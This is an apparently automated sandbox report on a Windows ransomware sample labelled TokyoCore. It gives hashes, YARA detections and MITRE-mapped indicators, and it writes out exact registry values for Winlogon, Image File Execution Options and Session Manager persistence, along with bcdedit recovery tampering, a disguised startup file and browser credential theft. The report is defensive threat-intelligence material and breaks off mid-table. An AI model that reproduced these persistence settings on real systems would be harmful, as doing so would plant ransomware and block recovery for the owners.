tokyocore | 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
max time kernel
11s
max time network
903s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/10/2026, 22:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Size 3.3MB
Sample261005-2e2c4swybs
SHA256 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc
MD5 d77aa7f5bf7c008232f4cbec127c30db
SHA1 3701617822f99debbf2579602b32eb99034581ad
SHA512 dca182637bcc510cfba855040df4f422c30b7c42af48351281534fde1804341bb7359d3c0e61c3cde8085273c1ad8387e248ab49bb92fce3724aa96c9a4615c9
SSDEEP 24576:i7MuEwvKJEdcI63li+WsOxP5g2IvMJJHfO2NprH2K:sMupsvBWsOxPVZJWEzP
TLSH
T12EF5D91BF7B610D5E1BAC039D553622AFC7134A6833C97EB92818E491B60BE4EE3D750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution tokyocore persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Family: TokyoCore
TokyoCore is a Windows ransomware written in C++.
ransomware tokyocore

Detects TokyoCore 42 IoCs

resource	yara_rule
behavioral2/memory/2512-0-0x00007FF6EEF60000-0x00007FF6EF3E7000-memory.dmp	family_tokyocore
behavioral2/files/0x00160000000115b6-1.dat	family_tokyocore
behavioral2/memory/1224-3-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/4632-4-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/1548-6-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/1548-9-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/4460-11-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2528-13-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3224-15-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3704-19-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/1932-27-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2668-32-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/248-55-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2984-46-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/4632-24-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/1224-23-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2192-17-0x00007FF6EEF60000-0x00007FF6EF3E7000-memory.dmp	family_tokyocore
behavioral2/memory/2512-16-0x00007FF6EEF60000-0x00007FF6EF3E7000-memory.dmp	family_tokyocore
behavioral2/memory/2984-8-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3224-75-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2192-88-0x00007FF6EEF60000-0x00007FF6EF3E7000-memory.dmp	family_tokyocore
behavioral2/memory/3704-90-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/1932-105-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/2668-109-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/760-135-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3048-137-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/760-138-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/7024-153-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3048-175-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6364-178-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/5204-176-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/5204-179-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/3224-186-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/7024-197-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6364-206-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6148-208-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6148-210-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6296-209-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/4320-218-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/7436-221-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/7436-222-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore
behavioral2/memory/6296-232-0x00007FF711EF0000-0x00007FF712377000-memory.dmp	family_tokyocore

Modifies WinLogon for persistence 2 TTPs 20 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe

Modifies boot configuration data using bcdedit 1 TTPs 52 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1428	bcdedit.exe
1048	bcdedit.exe
6620	bcdedit.exe
1692	bcdedit.exe
7444	bcdedit.exe
7936	bcdedit.exe
6844	bcdedit.exe
5500	bcdedit.exe
7664	bcdedit.exe
8400	bcdedit.exe
4652	Process not Found
9312	Process not Found
8852	Process not Found
9356	Process not Found
9860	Process not Found
3584	Process not Found
10752	Process not Found
6260	Process not Found
11528	Process not Found
11588	Process not Found
10408	Process not Found
11972	Process not Found
12532	Process not Found
12808	Process not Found
12856	Process not Found
8472	Process not Found
12360	Process not Found
14056	Process not Found
14720	Process not Found
15456	Process not Found
9356	Process not Found
15332	Process not Found
16416	Process not Found
14220	Process not Found
11512	Process not Found
11212	Process not Found
2068	Process not Found
16080	Process not Found
14836	Process not Found
4628	Process not Found
17212	Process not Found
12856	Process not Found
20692	Process not Found
14944	Process not Found
17556	Process not Found
11592	Process not Found
18544	Process not Found
20260	Process not Found
20244	Process not Found
17752	Process not Found
14608	Process not Found
21312	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
10092	Process not Found
16016	Process not Found
20444	Process not Found
21776	Process not Found
21544	Process not Found
6520	powershell.exe
6916	powershell.exe
11820	Process not Found
17936	Process not Found
4216	powershell.exe
13228	Process not Found
19312	Process not Found
19824	Process not Found
7084	powershell.exe
7904	powershell.exe
4652	Process not Found
2532	Process not Found
16216	Process not Found
15996	Process not Found
15960	Process not Found
11752	Process not Found
8424	Process not Found
11896	Process not Found
10040	Process not Found
9272	Process not Found
17652	Process not Found
16080	Process not Found
21596	Process not Found
1152	Process not Found
17256	Process not Found
22800	Process not Found
21908	Process not Found
7460	powershell.exe
4916	powershell.exe
552	powershell.exe
6644	powershell.exe
4876	powershell.exe
3196	Process not Found
11364	Process not Found
14372	Process not Found
3328	powershell.exe
11320	Process not Found
13396	Process not Found
9892	Process not Found
15968	Process not Found
20824	Process not Found
23004	Process not Found
10672	Process not Found
16336	Process not Found
19348	Process not Found
2144	Process not Found
4812	Process not Found
10644	Process not Found
12920	Process not Found
1100	Process not Found
7324	powershell.exe
7748	powershell.exe
8820	Process not Found
12960	Process not Found
10480	Process not Found
19872	Process not Found
18040	Process not Found
9412	Process not Found
5612	Process not Found

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe

Uses Session Manager for persistence 2 TTPs 3 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000006100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\SetupExecute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\Execute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	fsociety.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
1224	fsociety.exe
4632	fsociety.exe
1548	fsociety.exe
2984	fsociety.exe
4460	fsociety.exe
2528	fsociety.exe
3224	fsociety.exe
3704	fsociety.exe
1932	fsociety.exe
2668	fsociety.exe
248	fsociety.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
